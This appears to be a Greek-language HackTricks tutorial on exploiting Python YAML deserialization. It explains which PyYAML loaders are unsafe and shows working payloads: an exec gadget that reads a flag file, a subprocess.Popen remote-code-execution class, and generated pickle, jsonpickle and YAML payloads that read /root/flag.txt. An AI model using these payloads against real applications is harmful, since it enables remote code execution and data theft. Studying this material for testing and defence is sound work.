Python Yaml Deserialization

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Yaml Deserialization

Yaml βιβλιοθήκες python είναι επίσης ικανές να σειριοποιούν αντικείμενα python και όχι μόνο ακατέργαστα δεδομένα:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Ελέγξτε πώς το tuple δεν είναι ένας ακατέργαστος τύπος δεδομένων και επομένως έχει serializied. Και το ίδιο συνέβη με το range (που προέρχεται από τα builtins).

safe_load() ή safe_load_all() χρησιμοποιεί SafeLoader και δεν υποστηρίζει την αποσειριοποίηση αντικειμένων κλάσης. Παράδειγμα αποσειριοποίησης αντικειμένων κλάσης:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Ο προηγούμενος κώδικας χρησιμοποίησε unsafe_load για να φορτώσει την σειριοποιημένη python κλάση. Αυτό συμβαίνει επειδή στην έκδοση >= 5.1, δεν επιτρέπει να αποσειριοποιηθεί καμία σειριοποιημένη python κλάση ή χαρακτηριστικό κλάσης, με Loader που δεν έχει καθοριστεί στο load() ή Loader=SafeLoader.

Βασική Εκμετάλλευση

Παράδειγμα για το πώς να εκτελέσετε έναν ύπνο:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Ευάλωτο .load("<content>") χωρίς Loader

Παλαιότερες εκδόσεις του pyyaml ήταν ευάλωτες σε επιθέσεις απο-σειριοποίησης αν δεν καθορίζατε τον Loader κατά την φόρτωση κάποιου: yaml.load(data)

Μπορείτε να βρείτε την περιγραφή της ευπάθειας εδώ. Η προτεινόμενη εκμετάλλευση σε αυτή τη σελίδα είναι:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Ή μπορείτε επίσης να χρησιμοποιήσετε αυτήν την μία γραμμή που παρέχεται από τον @ishaack:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Σημειώστε ότι στις πρόσφατες εκδόσεις δεν μπορείτε πλέον να καλέσετε το .load() χωρίς έναν Loader και ο FullLoader δεν είναι πλέον ευάλωτος σε αυτήν την επίθεση.

RCE

Μπορούν να δημιουργηθούν προσαρμοσμένα payloads χρησιμοποιώντας Python YAML modules όπως το PyYAML ή το ruamel.yaml. Αυτά τα payloads μπορούν να εκμεταλλευτούν ευπάθειες σε συστήματα που αποδομούν μη αξιόπιστη είσοδο χωρίς κατάλληλο καθαρισμό.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Tool to create Payloads

Το εργαλείο https://github.com/j0lt-github/python-deserialization-attack-payload-generator μπορεί να χρησιμοποιηθεί για να δημιουργήσει python deserialization payloads για να εκμεταλλευτεί Pickle, PyYAML, jsonpickle και ruamel.yaml:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Αναφορές

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

Ελέγξτε τα σχέδια συνδρομής!
Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.